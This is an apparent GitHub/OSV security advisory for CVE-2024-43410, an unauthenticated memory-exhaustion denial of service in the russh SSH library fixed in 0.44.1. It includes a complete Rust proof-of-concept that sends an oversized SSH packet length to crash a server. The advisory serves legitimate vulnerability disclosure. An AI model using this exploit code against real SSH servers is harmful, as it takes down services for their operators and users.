CVE-2024-43410: Russh Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vgvv-x7xg-6cqg",
  "modified" : "2024-08-21T18:59:23Z",
  "published" : "2024-08-14T21:18:20Z",
  "aliases" : [ "CVE-2024-43410" ],
  "summary" : "Russh has an OOM Denial of Service due to allocation of untrusted amount",
  "details" : "### Summary\n\nAllocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.\n\n### Details\n\nAn SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.\nAfter parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.\n\nhttps://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254\n\nBut this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.\n\nRFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1\n\n> However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.\n\n### PoC\n\nRunning the `echoserver` example on port 2222 (`cd russh && cargo run --release --example echoserver`), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.\n\n<details>\n<summary>Rust code to run against the echo server</summary>\n\n`Cargo.toml`\n```toml\n[package]\nname = \"poc\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nhex-literal = \"=0.4.1\"\n```\n\n`main.rs`\n```rust\nuse std::time::Duration;\nuse std::{error::Error, net::SocketAddr};\n\nuse std::{\n    io::{Read, Write},\n    net::TcpStream,\n};\n\nfn main() -> Result<(), Box<dyn Error>> {\n    loop {\n        attempt()?;\n        eprintln!(\"still running, trying again in a few seconds\");\n        std::thread::sleep(Duration::from_secs(2));\n    }\n}\n\nfn attempt() -> Result<(), Box<dyn Error>> {\n    for i in 0..5 {\n        eprintln!(\"iteration {i}\");\n        let mut s = TcpStream::connect(\"0.0.0.0:2222\".parse::<SocketAddr>().unwrap())?;\n        s.write_all(b\"SSH-2.0-OpenSSH_9.7\\r\\n\")?;\n        s.read(&mut [0; 1000])?;\n        // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.\n        s.write_all(&hex_literal::hex!(\n            \"\n        ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353\n        1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c\n        637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6\n        e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69\n        7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686\n        13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669\n        652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2\n        d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d\n        763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314\n        06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630\n        31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7\n        63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274\n        2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303\n        1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572\n        742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314\n        06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73\n        73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6\n        5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c\n        736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613\n        22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d\n        736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636\n        f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331\n        32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636\n        f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331\n        32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4\n        06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575\n        6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656\n        e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68\n        6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6\n        5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163\n        2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613\n        22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63\n        6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323\n        5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065\n        6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632\n        d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61\n        632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6\n        f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f\n        70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000\n        \"\n        ))?;\n\n        s.shutdown(std::net::Shutdown::Both)?;\n    }\n    Ok(())\n}\n```\n\n</details>\n\n### Impact\n\nDue to this allocation, a russh server can be brought to OOM, causing a DoS.\nSince this happens before authentication, it can be done by any user that has access to the TCP port over the internet.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "russh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.44.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.44.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/security/advisories/GHSA-vgvv-x7xg-6cqg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-43410"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Eugeny/russh"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-14T21:18:20Z",
    "nvd_published_at" : "2024-08-21T16:15:08Z"
  }
}